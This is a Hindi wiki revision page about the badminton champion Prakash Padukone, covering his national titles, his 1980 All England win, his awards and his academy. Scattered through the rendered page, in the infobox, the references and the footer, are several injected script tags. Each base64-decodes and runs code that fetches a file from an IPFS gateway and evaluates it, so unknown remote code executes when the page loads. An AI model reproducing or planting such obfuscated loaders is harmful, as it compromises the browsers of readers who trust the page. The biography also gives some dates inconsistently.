एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

"प्रकाश पादुकोण" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(5 सदस्यों द्वारा किये गये बीच के 16 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
[[चित्र:Prakash-Padukone.JPG|thumb|प्रकाश पादुकोण<br />Prakash Padukone]]
+
{{सूचना बक्सा खिलाड़ी
*प्रकाश पादुकोण ([[कन्नड़ भाषा|कन्नड़]]: ಪ್ರಕಾಶ ಪಡುಕೋಣೆ) एक सुप्रसिद्ध भूतपूर्व [[बैडमिंटन]] खिलाड़ी हैं।
+
|चित्र=Prakash-Padukone.JPG
*प्रकाश पादुकोण का जन्म [[10 जून]], [[1955]] को हुआ था और वे [[कर्नाटक]] के रहने वाले थे।
+
|चित्र का नाम=प्रकाश पादुकोण
*प्रसिद्ध हिन्दी फ़िल्म अभिनेत्री [[दीपिका पादुकोण]] इन्हीं की बेटी है।
+
|पूरा नाम=प्रकाश पादुकोण
*[[भारत]] में बैडमिंटन के कई महान एकल खिलाड़ी हुए हैं, लेकिन भारतीय बैडमिंटन के बारे में दुनिया के दृष्टिकोण पर सबसे गहरा असर प्रकाश पादुकोण ने डाला। इन्होंने ही सबसे पहले यह दिखाया था कि चीनियों का मुकाबला कैसे किया जा सकता है। नियंत्रण और सटिकता का इस्तेमाल करते हुए वे खेल को धीमा करके अपनी गति पर ले आते थे और उनकी चतुराई उन्हें डगमगा देती थी।  
+
|अन्य नाम=
==जीवन परिचय==
+
|जन्म=[[10 जून]], [[1955]]
प्रकाश पादुकोण जी के पिता रमेश पादुकोण ने कई वर्षों के लिए मैसूर बैडमिंटन एसोसिएशन के सचिव के रूप में सेवा की, और उन्होंने प्रकाश के खेल में प्रतिभा देखी, तब उन्होंने काफी कम उम्र में बैडमिंटन खेलना शुरू किया।
+
|जन्म भूमि=[[बंगलुरू]], [[कर्नाटक]]
==खेल उपलब्धियाँ==
+
|मृत्यु=
*लगातार नौ साल [[1971]] से [[1979]] तक वरिष्ठ राष्ट्रीय चैंपियन।<ref>{{cite web |url=http://www.iloveindia.com/sports/badminton/players/prakash-padukone.html |title=प्रकाश पादुकोण प्रोफ़ाइल |accessmonthday=[[21 अगस्त]] |accessyear=[[2010]] |authorlink= |format=एचटीएमएल |publisher= |language= अंग्रेज़ी}}</ref>
+
|मृत्यु स्थान=
*राष्ट्रमंडल खेल 1978 में स्वर्ण पदक विजेता।
+
|अभिभावक=रमेश पादुकोण
*1979 में प्रतिष्ठित ऑल इंग्लैंड बैडमिंटन चैम्पियनशिप जीता।
+
|पति/पत्नी=
*डैनिश ओपन और स्वीडिश ओपन जीता।
+
|संतान=दीपिका पादुकोण
==पुरस्कार==
+
|कर्म भूमि=
राष्ट्रीय और अंतरराष्ट्रीय स्तर पर, एक बैडमिंटन खिलाड़ी के रूप में देश के लिए असाधारण प्रदर्शन करने के लिए एक सम्मान के रूप में, प्रकाश पादुकोण को वर्ष [[1972]] में भारत सरकार द्वारा [[अर्जुन पुरस्कार]] से सम्मानित किया गया।  इसके अलावा, वह [[1982]] में [[पद्मश्री]] पुरस्कार से भी सम्मानित किये गए।
+
|खेल-क्षेत्र=बैडमिंटन खिलाड़ी 
 +
|शिक्षा=
 +
|विद्यालय=
 +
|पुरस्कार-उपाधि=[[अर्जुन पुरस्कार]], [[पद्मश्री]]
 +
|प्रसिद्धि=लगातार नौ साल [[1971]] से [[1979]] तक वरिष्ठ राष्ट्रीय चैंपियन।
 +
|विशेष योगदान=
 +
|नागरिकता=भारतीय
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=प्रकाश पादुकोण जी के पिता रमेश पादुकोण ने कई वर्षों के लिए मैसूर बैडमिंटन एसोसिएशन के सचिव के रूप में सेवा की।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन={{अद्यतन|18:58, 3 जून 2013 (IST)}}
 +
}}
 +
'''प्रकाश पादुकोण''' ([[कन्नड़ भाषा|कन्नड़]]: ಪ್ರಕಾಶ ಪಡುಕೋಣೆ; [[अंग्रेज़ी]]: ''Prakash Padukone'', जन्म- [[10 जून]], [[1955]], [[बंगलुरू]], [[कर्नाटक]]) को बैडमिंटन का आज तक का [[भारत]] का सर्वश्रेष्ठ खिलाड़ी कहा जाए तो शायद अतिशयोक्ति नहीं होगी। भारत में बैडमिंटन के कई महान् एकल खिलाड़ी हुए हैं, लेकिन भारतीय बैडमिंटन के बारे में दुनिया के दृष्टिकोण पर सबसे गहरा असर प्रकाश पादुकोण ने डाला। उन्होंने ही सबसे पहले यह दिखाया था कि चीनियों का मुकाबला कैसे किया जा सकता है। नियंत्रण और सटिकता का इस्तेमाल करते हुए वे खेल को धीमा करके अपनी गति पर ले आते थे और उनकी चतुराई उन्हें डगमगा देती थी। [[1981]] में कुआलालंपुर में विश्व कप फ़ाइनल में उन्होंने हान जियान को 15-0 से ध्वस्त कर दिया था। वे लगातार नौ साल [[1970]] से [[1978]] तक वरिष्ठ राष्ट्रीय चैंपियन रहे। प्रसिद्ध [[हिन्दी]] फ़िल्म अभिनेत्री दीपिका पादुकोण उन्हीं की बेटी हैं।
 +
==परिचय==
 +
प्रकाश पादुकोण का जन्म 10 जून, 1955 को बंगलुरू, कर्नाटक में हुआ था। उन्होंने अन्तरराष्ट्रीय स्तर पर [[भारत]] को बैडमिंटन क्षेत्र में पहचान दिलाई। वह [[1980]] में विश्व रैंकिंग में एक नबंर पर रहे, जो वास्तव में गौरव की बात है। [[1972]] में उन्हें '[[अर्जुन पुरस्कार]]' प्रदान किया गया। वह लगातार नौ वर्ष तक राष्ट्रीय चैंपियन रहे। प्रकाश पादुकोण ने अपने श्रेष्ठ खेल प्रदर्शन से भारत तथा विदेशों में सभी को प्रभावित किया। वह मात्र 15 वर्ष की आयु में राष्ट्रीय जूनियर चैंपियन बन गए थे। प्रकाश पादुकोण ने बैडमिंटन खेलने की बारीकियां अपने पिता रमेश पादुकोण से सीखीं जो कई वर्षों तक मैसूर बैडमिंटन एसोसिएशन के सेक्रेटरी रहे। प्रकाश ने अपनी सफलता की शुरुआत [[1970]] में राष्ट्रीय जूनियर चैंपियन बन कर की। अगले वर्ष [[1971]] में उन्होंने अनोखा कारनामा कर दिखाया। उन्होंने सीनियर तथा जूनियर दोनों राष्ट्रीय खिताब जीत लिए। फिर उन्होंने कभी पीछे मुड़कर नहीं देखा और अपनी सफलता को जारी रखा।<ref name="a">{{cite web |url=https://www.kaiseaurkya.com/prakash-padukone-biography-in-hindi-language/ |title=प्रकाश पादुकोण का जीवन परिचय |accessmonthday= 13 सितम्बर|accessyear=2016 |last= |first= |authorlink= |format= |publisher=कैसे और क्या |language=हिंदी }}</ref>
 +
==सफलताएँ==
 +
प्रकाश पादुकोण नौ वर्षों तक [[1970]] से [[1978]] तक राष्ट्रीय चैंपियन रहे। उन्होंने अन्तरराष्ट्रीय स्तर पर अपनी पहचान [[1974]] के एशियाई खेलों में बनाई। तेहरान में हुए इन एशियाई खेलों में प्रकाश ने कांस्य पदक जीता। इसी वर्ष 1974 में न्यूजीलैंड के क्राइस्ट चर्च में उन्होंने [[राष्ट्रमंडल खेल|राष्ट्रमंडल खेलों]] में भाग लिया और वह वही क्वॉर्टर फाइनल तक पहुँचे। [[1975]] में ‘वर्ल्ड इन्वीटेशन कप’ खेलों में कुआलालंपुर में भी वह क्वॉर्टर फाइनल तक पहुँचे। इसके पश्चात् वह सफलता पाने के लिए मेहनत करते रहे। [[1976]] में एशियन बैडमिंटन कान्फेडेरेशन चैंपियनशिप, हैदराबाद में प्रकाश ने सेमी फाइनल तक पहुँच कर अपना स्थान बनाया।
  
{{लेख प्रगति
+
इसके बाद [[1977]] में प्रकाश पादुकोण बेहतर ट्रेनिंग लेने के लिए इन्डोनेशिया चले गए, जिससे उनका अन्तरराष्ट्रीय स्तर पर बेहतर प्रदर्शन हो सके। वहाँ की ट्रेनिंग में ‘ शॉर्ट स्प्रिंट’ तथा कूदने पर जोर दिया जाता था, जबकि [[भारत]] में खिंचाव वाली ‘स्ट्रेच’ कसरतों और ‘जॉगिंग’ पर जोर दिया जाता था। यह ट्रेनिंग प्रकाश के खेल प्रदर्शन पर रंग लाई। [[1978]] में कनाडा के एडमॉन्टन में हुए राष्ट्रमंडल खेलों में प्रकाश स्वर्ण पदक पाने में सफल हुए। इस सफलता से उन्हें अन्तरराष्ट्रीय पहचान तथा ख्याति मिली। इन राष्ट्रमंडल खेलों में पुरुषों की एकल स्पर्धा में प्रकाश ने सीधे मुकाबलों में [[ब्रिटेन]] के रे टालबोट को हराया और स्वर्ण पदक जीता। इसके बाद [[1979]] में [[लंदन]] में ”इंग्लिश मास्टर्स चैंपियनशिप” में जो रायल अल्बर्ट हॉल में हुई थी, उन्हें विजय प्राप्त हुई। [[1980]] में ‘डेनिश ओपन’ जीतकर प्रकाश ने बैडमिंटन का मिनी ग्रैंड स्लैम मुकाबला जीत लिया। इसी वर्ष उन्होंने ‘स्वीडिश ओपन’ तथा ‘ऑल इंग्लैंड चैंपियनशिप’ जैसे बड़े-बड़े मुकाबले जीत लिए। इन मुकाबलों में प्रकाश ने विश्व के प्रतिष्ठित खिलाड़ियों को क्रमश: -मार्टेन फ्रॉस्ट, रूडी हार्टोनो, लियर्न स्वीकिंग को हरा दिया। उन दिनों प्रकाश पादुकोण इतनी अच्छी फॉर्म में खेल रहे थे कि वहां के परेशान राजा को कहना पड़ा कि वह ‘सम्मोहित’ हो गए थे।<ref name="a"/>
|आधार=
+
==विश्व रैंकिंग में नंबर एक==
|प्रारम्भिक=प्रारम्भिक2
+
‘ऑल इंग्लैंड चैंपियनशिप’ जीतकर प्रकाश पादुकोण विश्व रैंकिंग में नंबर एक पर पहुँच गए थे। वह पहले भारतीय खिलाड़ी थे जो रैकेट से खेले जाने वाले खेलों में इतने ऊँचे स्थान तक पहुँचे थे। इसके बाद प्रकाश की स्वर्णिम सफलता धीमी व फीकी होने लगी। ‘ऑल इंग्लैंड चैंपियनशिप’ जीतने के दो माह पश्चात् जकार्ता की विश्व चैंपियनशिप में वह स्वर्ण पदक नहीं पा सके। वहां वह इंडोनेशिया के हादियांतो से क्वॉर्टर फाइनल में हार गए। [[1981]] के ‘प्रथम विश्व खेलों’ में प्रकाश कांस्य पदक जीतने में कामयाब हुए। इसी वर्ष उन्होंने [[चीन]] के हान जैन को हराकर ‘अल्बो विश्व कप’ जीत लिया। इन्हीं खेलों के दौरान प्रकाश पादुकोण ने कुछ महत्त्वपूर्ण निर्णय लिए, जिससे उनके अन्तरराष्ट्रीय प्रदर्शन पर काफ़ी असर पड़ा। उन्होंने ‘लाइसेंस शुदा’ खिलाड़ी बनने का फैसला किया और अपना मुख्य स्थान [[भारत]] छोड़कर डेनमार्क बना लिया। उनका उद्देश्य यह था कि वहाँ जाकर उनका नियमित मुकाबला [[यूरोप]] के सर्वश्रेष्ठ खिलाड़ियों से होगा जिससे उनके खेल में भी सुधार आएगा। लेकिन उनके इस निर्णय से उन्हें निराशा हाथ लगी, क्योंकि लाइसेंस प्राप्त खिलाड़ी होने के कारण उन्हें [[दिल्ली]] में हुए एशियाई खेलों में खेलने की अनुमति प्रदान नहीं की गई। इसी वर्ष बैडमिंटन की दो बड़ी एसोसिएशन का विलय हो गया। ‘अन्तरराष्ट्रीय बैडमिंटन फैडरेशन’ तथा ‘विश्व बैडमिंटन फैडरेशन’ दो प्रतिद्वन्दी सगंठन थे, लेकिन इस वर्ष इनका विलय करके इन्हें एक बना दिया गया।
|माध्यमिक=
+
==पुरस्कार व सम्मान==
|पूर्णता=
+
*[[1972]] में प्रकाश पादुकोण को [[भारत सरकार]] द्वारा ”[[अर्जुन पुरस्कार]]” दिया गया। उन्होंने लगभग 15 अन्तरराष्ट्रीय खिताब जीते। 1980 तथा 1981 में विश्व रैंकिंग में वह प्रथम स्थान पर रहे।
|शोध=
+
 
}}
+
*प्रकाश पादुकोण को 'भारतीय बैडमिंटन संघ' (बीएआइ) ने अपने पहले लाइफटाइम अचीवमेंट पुरस्कार से नवाजा है। यह पुरस्कार उन्हें [[29 जनवरी]], [[2018]] को प्रदान किया गया। [[भारत]] के उपराष्ट्रपति [[वेंकैया नायडू]] ने प्रकाश पादुकोण को प्रशस्ति पत्र, शाल, स्मृति चिह्न और 10 लाख रुपये का पुरस्कार देकर सम्मानित किया। इस मौके पर बीएआइ अध्यक्ष हेमंत विश्व सरमा भी मौजूद थे। प्रकाश पादुकोण ने पुरस्कार ग्रहण करने के बाद संवाददाताओं से कहा, "पहले ही साल में यह लाइफटाइम अचीवमेंट पुरस्कार मेरे लिए सम्मान की बात है। मैं इस सम्मान के लिए भारतीय बैडमिंटन संघ का आभार व्यक्त करता हूं।"
 +
==अकादमी की स्थापना==
 +
खेलों से रिटायर होने के पश्चात् कुछ वर्ष प्रकाश पादुकोण ‘भारतीय बैडमिंटन एसोसिएशन’ के अध्यक्ष रहे। बाद में उन्होंने [[बंगलौर]] में बैडमिंटन खिलाड़ियों के लिए अकादमी खोल ली, जहाँ जूनियर खिलाड़ियों को बैडमिंटन प्रशिक्षण दिया जाता है। उनका मुख्य उद्देश्य खेल में ऊँचा स्तर बनाए रखते हुए टूर्नामेंट कैम्प तथा वर्कशॉप का आयोजन करना तथा नए खिलाड़ियों को प्रोत्साहित करना है। प्रकाश पादुकोण का स्थायी निवास बंगलौर में है, जहाँ वह अपनी पत्नी उजाला तथा दो बेटियों के साथ रहते हैं। उनकी बेटी ‘दीपिका पादुकोण’ एक मॉडल व [[हिन्दी फ़िल्मों की प्रसिद्ध अभिनेत्री है।
 +
==उपलब्धियाँ==
 +
#प्रकाश पादुकोण ने लगातार नौ वर्ष तक ([[1970]]-[[1978]]) राष्ट्रीय बैडमिंटन चैंपियन का खिताब जीता।<ref name="a"/>
 +
#[[1972]] में उन्हें ”[[अर्जुन पुरस्कार]]” देकर सम्मानित किया गया।
 +
#उन्होंने [[1974]] में तेहरान में हुए सातवें एशियाई खेलों में कांस्य पदक प्राप्त किया।
 +
#[[1979]] में [[राष्ट्रमंडल खेल|राष्ट्रमंडल खेलों]] में एडमंटन (कनाडा) में उन्होंने स्वर्ण पदक जीता।
 +
#[[1980]] में उन्होंने बैडमिंटन का ग्रैंड स्लैम जीत लिया। उन्होंने तीन अंतरराष्ट्रीय टूर्नामेंट में उस वर्ष विजय प्राप्त की। ये टूर्नामेंट थे – डेनिश ओपन, स्वीडिश ओपन तथा ऑल इंग्लैंड बैडमिंटन चैंपियनशिप।
 +
#1981 में [[अमेरिका]] के प्रथम विश्व खेलों में उन्होंने कांस्य पदक जीता।
 +
#1981 में प्रकाश ने अल्बा विश्व कप जीता।
 +
#1980 तथा 1981 में बैडमिंटन की विश्व रैंकिंग में वह प्रथम स्थान पर रहे।
  
 +
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
==सम्बंधित लिंक==
+
==बाहरी कड़ियाँ==
{{भारत के प्रसिद्ध खिलाड़ी}}
+
*[https://www.prabhatkhabar.com/news/badminton/prakash-padukone-indian-badminton-association-lifetime-achievement-awards/1117244.html प्रकाश पादुकोण को भारतीय बैडमिंटन संघ ने दिया पहला 'लाइफटाइम अचीवमेंट' पुरस्कार]
[[Category:बैडमिंटन]]
+
==संबंधित लेख==
[[Category:बैडमिंटन खिलाड़ी]]
+
{{अर्जुन पुरस्कार}}{{भारत के प्रसिद्ध खिलाड़ी}}
[[Category:खेलकूद कोश]]
+
[[Category:बैडमिंटन]][[Category:पद्म श्री]][[Category:बैडमिंटन खिलाड़ी]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:खेलकूद कोश]][[Category:अर्जुन पुरस्कार]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

05:22, 10 जून 2018 के समय का अवतरण

प्रकाश पादुकोण
प्रकाश पादुकोण
पूरा नाम प्रकाश पादुकोण
जन्म 10 जून, 1955
जन्म भूमि बंगलुरू, कर्नाटक
अभिभावक रमेश पादुकोण
संतान दीपिका पादुकोण
खेल-क्षेत्र बैडमिंटन खिलाड़ी
पुरस्कार-उपाधि अर्जुन पुरस्कार, पद्मश्री
प्रसिद्धि लगातार नौ साल 1971 से 1979 तक वरिष्ठ राष्ट्रीय चैंपियन।
नागरिकता भारतीय
अन्य जानकारी प्रकाश पादुकोण जी के पिता रमेश पादुकोण ने कई वर्षों के लिए मैसूर बैडमिंटन एसोसिएशन के सचिव के रूप में सेवा की।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

प्रकाश पादुकोण (कन्नड़: ಪ್ರಕಾಶ ಪಡುಕೋಣೆ; अंग्रेज़ी: Prakash Padukone, जन्म- 10 जून, 1955, बंगलुरू, कर्नाटक) को बैडमिंटन का आज तक का भारत का सर्वश्रेष्ठ खिलाड़ी कहा जाए तो शायद अतिशयोक्ति नहीं होगी। भारत में बैडमिंटन के कई महान् एकल खिलाड़ी हुए हैं, लेकिन भारतीय बैडमिंटन के बारे में दुनिया के दृष्टिकोण पर सबसे गहरा असर प्रकाश पादुकोण ने डाला। उन्होंने ही सबसे पहले यह दिखाया था कि चीनियों का मुकाबला कैसे किया जा सकता है। नियंत्रण और सटिकता का इस्तेमाल करते हुए वे खेल को धीमा करके अपनी गति पर ले आते थे और उनकी चतुराई उन्हें डगमगा देती थी। 1981 में कुआलालंपुर में विश्व कप फ़ाइनल में उन्होंने हान जियान को 15-0 से ध्वस्त कर दिया था। वे लगातार नौ साल 1970 से 1978 तक वरिष्ठ राष्ट्रीय चैंपियन रहे। प्रसिद्ध हिन्दी फ़िल्म अभिनेत्री दीपिका पादुकोण उन्हीं की बेटी हैं।

परिचय

प्रकाश पादुकोण का जन्म 10 जून, 1955 को बंगलुरू, कर्नाटक में हुआ था। उन्होंने अन्तरराष्ट्रीय स्तर पर भारत को बैडमिंटन क्षेत्र में पहचान दिलाई। वह 1980 में विश्व रैंकिंग में एक नबंर पर रहे, जो वास्तव में गौरव की बात है। 1972 में उन्हें 'अर्जुन पुरस्कार' प्रदान किया गया। वह लगातार नौ वर्ष तक राष्ट्रीय चैंपियन रहे। प्रकाश पादुकोण ने अपने श्रेष्ठ खेल प्रदर्शन से भारत तथा विदेशों में सभी को प्रभावित किया। वह मात्र 15 वर्ष की आयु में राष्ट्रीय जूनियर चैंपियन बन गए थे। प्रकाश पादुकोण ने बैडमिंटन खेलने की बारीकियां अपने पिता रमेश पादुकोण से सीखीं जो कई वर्षों तक मैसूर बैडमिंटन एसोसिएशन के सेक्रेटरी रहे। प्रकाश ने अपनी सफलता की शुरुआत 1970 में राष्ट्रीय जूनियर चैंपियन बन कर की। अगले वर्ष 1971 में उन्होंने अनोखा कारनामा कर दिखाया। उन्होंने सीनियर तथा जूनियर दोनों राष्ट्रीय खिताब जीत लिए। फिर उन्होंने कभी पीछे मुड़कर नहीं देखा और अपनी सफलता को जारी रखा।[1]

सफलताएँ

प्रकाश पादुकोण नौ वर्षों तक 1970 से 1978 तक राष्ट्रीय चैंपियन रहे। उन्होंने अन्तरराष्ट्रीय स्तर पर अपनी पहचान 1974 के एशियाई खेलों में बनाई। तेहरान में हुए इन एशियाई खेलों में प्रकाश ने कांस्य पदक जीता। इसी वर्ष 1974 में न्यूजीलैंड के क्राइस्ट चर्च में उन्होंने राष्ट्रमंडल खेलों में भाग लिया और वह वही क्वॉर्टर फाइनल तक पहुँचे। 1975 में ‘वर्ल्ड इन्वीटेशन कप’ खेलों में कुआलालंपुर में भी वह क्वॉर्टर फाइनल तक पहुँचे। इसके पश्चात् वह सफलता पाने के लिए मेहनत करते रहे। 1976 में एशियन बैडमिंटन कान्फेडेरेशन चैंपियनशिप, हैदराबाद में प्रकाश ने सेमी फाइनल तक पहुँच कर अपना स्थान बनाया।

इसके बाद 1977 में प्रकाश पादुकोण बेहतर ट्रेनिंग लेने के लिए इन्डोनेशिया चले गए, जिससे उनका अन्तरराष्ट्रीय स्तर पर बेहतर प्रदर्शन हो सके। वहाँ की ट्रेनिंग में ‘ शॉर्ट स्प्रिंट’ तथा कूदने पर जोर दिया जाता था, जबकि भारत में खिंचाव वाली ‘स्ट्रेच’ कसरतों और ‘जॉगिंग’ पर जोर दिया जाता था। यह ट्रेनिंग प्रकाश के खेल प्रदर्शन पर रंग लाई। 1978 में कनाडा के एडमॉन्टन में हुए राष्ट्रमंडल खेलों में प्रकाश स्वर्ण पदक पाने में सफल हुए। इस सफलता से उन्हें अन्तरराष्ट्रीय पहचान तथा ख्याति मिली। इन राष्ट्रमंडल खेलों में पुरुषों की एकल स्पर्धा में प्रकाश ने सीधे मुकाबलों में ब्रिटेन के रे टालबोट को हराया और स्वर्ण पदक जीता। इसके बाद 1979 में लंदन में ”इंग्लिश मास्टर्स चैंपियनशिप” में जो रायल अल्बर्ट हॉल में हुई थी, उन्हें विजय प्राप्त हुई। 1980 में ‘डेनिश ओपन’ जीतकर प्रकाश ने बैडमिंटन का मिनी ग्रैंड स्लैम मुकाबला जीत लिया। इसी वर्ष उन्होंने ‘स्वीडिश ओपन’ तथा ‘ऑल इंग्लैंड चैंपियनशिप’ जैसे बड़े-बड़े मुकाबले जीत लिए। इन मुकाबलों में प्रकाश ने विश्व के प्रतिष्ठित खिलाड़ियों को क्रमश: -मार्टेन फ्रॉस्ट, रूडी हार्टोनो, लियर्न स्वीकिंग को हरा दिया। उन दिनों प्रकाश पादुकोण इतनी अच्छी फॉर्म में खेल रहे थे कि वहां के परेशान राजा को कहना पड़ा कि वह ‘सम्मोहित’ हो गए थे।[1]

विश्व रैंकिंग में नंबर एक

‘ऑल इंग्लैंड चैंपियनशिप’ जीतकर प्रकाश पादुकोण विश्व रैंकिंग में नंबर एक पर पहुँच गए थे। वह पहले भारतीय खिलाड़ी थे जो रैकेट से खेले जाने वाले खेलों में इतने ऊँचे स्थान तक पहुँचे थे। इसके बाद प्रकाश की स्वर्णिम सफलता धीमी व फीकी होने लगी। ‘ऑल इंग्लैंड चैंपियनशिप’ जीतने के दो माह पश्चात् जकार्ता की विश्व चैंपियनशिप में वह स्वर्ण पदक नहीं पा सके। वहां वह इंडोनेशिया के हादियांतो से क्वॉर्टर फाइनल में हार गए। 1981 के ‘प्रथम विश्व खेलों’ में प्रकाश कांस्य पदक जीतने में कामयाब हुए। इसी वर्ष उन्होंने चीन के हान जैन को हराकर ‘अल्बो विश्व कप’ जीत लिया। इन्हीं खेलों के दौरान प्रकाश पादुकोण ने कुछ महत्त्वपूर्ण निर्णय लिए, जिससे उनके अन्तरराष्ट्रीय प्रदर्शन पर काफ़ी असर पड़ा। उन्होंने ‘लाइसेंस शुदा’ खिलाड़ी बनने का फैसला किया और अपना मुख्य स्थान भारत छोड़कर डेनमार्क बना लिया। उनका उद्देश्य यह था कि वहाँ जाकर उनका नियमित मुकाबला यूरोप के सर्वश्रेष्ठ खिलाड़ियों से होगा जिससे उनके खेल में भी सुधार आएगा। लेकिन उनके इस निर्णय से उन्हें निराशा हाथ लगी, क्योंकि लाइसेंस प्राप्त खिलाड़ी होने के कारण उन्हें दिल्ली में हुए एशियाई खेलों में खेलने की अनुमति प्रदान नहीं की गई। इसी वर्ष बैडमिंटन की दो बड़ी एसोसिएशन का विलय हो गया। ‘अन्तरराष्ट्रीय बैडमिंटन फैडरेशन’ तथा ‘विश्व बैडमिंटन फैडरेशन’ दो प्रतिद्वन्दी सगंठन थे, लेकिन इस वर्ष इनका विलय करके इन्हें एक बना दिया गया।

पुरस्कार व सम्मान

  • 1972 में प्रकाश पादुकोण को भारत सरकार द्वारा ”अर्जुन पुरस्कार” दिया गया। उन्होंने लगभग 15 अन्तरराष्ट्रीय खिताब जीते। 1980 तथा 1981 में विश्व रैंकिंग में वह प्रथम स्थान पर रहे।
  • प्रकाश पादुकोण को 'भारतीय बैडमिंटन संघ' (बीएआइ) ने अपने पहले लाइफटाइम अचीवमेंट पुरस्कार से नवाजा है। यह पुरस्कार उन्हें 29 जनवरी, 2018 को प्रदान किया गया। भारत के उपराष्ट्रपति वेंकैया नायडू ने प्रकाश पादुकोण को प्रशस्ति पत्र, शाल, स्मृति चिह्न और 10 लाख रुपये का पुरस्कार देकर सम्मानित किया। इस मौके पर बीएआइ अध्यक्ष हेमंत विश्व सरमा भी मौजूद थे। प्रकाश पादुकोण ने पुरस्कार ग्रहण करने के बाद संवाददाताओं से कहा, "पहले ही साल में यह लाइफटाइम अचीवमेंट पुरस्कार मेरे लिए सम्मान की बात है। मैं इस सम्मान के लिए भारतीय बैडमिंटन संघ का आभार व्यक्त करता हूं।"

अकादमी की स्थापना

खेलों से रिटायर होने के पश्चात् कुछ वर्ष प्रकाश पादुकोण ‘भारतीय बैडमिंटन एसोसिएशन’ के अध्यक्ष रहे। बाद में उन्होंने बंगलौर में बैडमिंटन खिलाड़ियों के लिए अकादमी खोल ली, जहाँ जूनियर खिलाड़ियों को बैडमिंटन प्रशिक्षण दिया जाता है। उनका मुख्य उद्देश्य खेल में ऊँचा स्तर बनाए रखते हुए टूर्नामेंट कैम्प तथा वर्कशॉप का आयोजन करना तथा नए खिलाड़ियों को प्रोत्साहित करना है। प्रकाश पादुकोण का स्थायी निवास बंगलौर में है, जहाँ वह अपनी पत्नी उजाला तथा दो बेटियों के साथ रहते हैं। उनकी बेटी ‘दीपिका पादुकोण’ एक मॉडल व [[हिन्दी फ़िल्मों की प्रसिद्ध अभिनेत्री है।

उपलब्धियाँ

  1. प्रकाश पादुकोण ने लगातार नौ वर्ष तक (1970-1978) राष्ट्रीय बैडमिंटन चैंपियन का खिताब जीता।[1]
  2. 1972 में उन्हें ”अर्जुन पुरस्कार” देकर सम्मानित किया गया।
  3. उन्होंने 1974 में तेहरान में हुए सातवें एशियाई खेलों में कांस्य पदक प्राप्त किया।
  4. 1979 में राष्ट्रमंडल खेलों में एडमंटन (कनाडा) में उन्होंने स्वर्ण पदक जीता।
  5. 1980 में उन्होंने बैडमिंटन का ग्रैंड स्लैम जीत लिया। उन्होंने तीन अंतरराष्ट्रीय टूर्नामेंट में उस वर्ष विजय प्राप्त की। ये टूर्नामेंट थे – डेनिश ओपन, स्वीडिश ओपन तथा ऑल इंग्लैंड बैडमिंटन चैंपियनशिप।
  6. 1981 में अमेरिका के प्रथम विश्व खेलों में उन्होंने कांस्य पदक जीता।
  7. 1981 में प्रकाश ने अल्बा विश्व कप जीता।
  8. 1980 तथा 1981 में बैडमिंटन की विश्व रैंकिंग में वह प्रथम स्थान पर रहे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 प्रकाश पादुकोण का जीवन परिचय (हिंदी) कैसे और क्या। अभिगमन तिथि: 13 सितम्बर, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>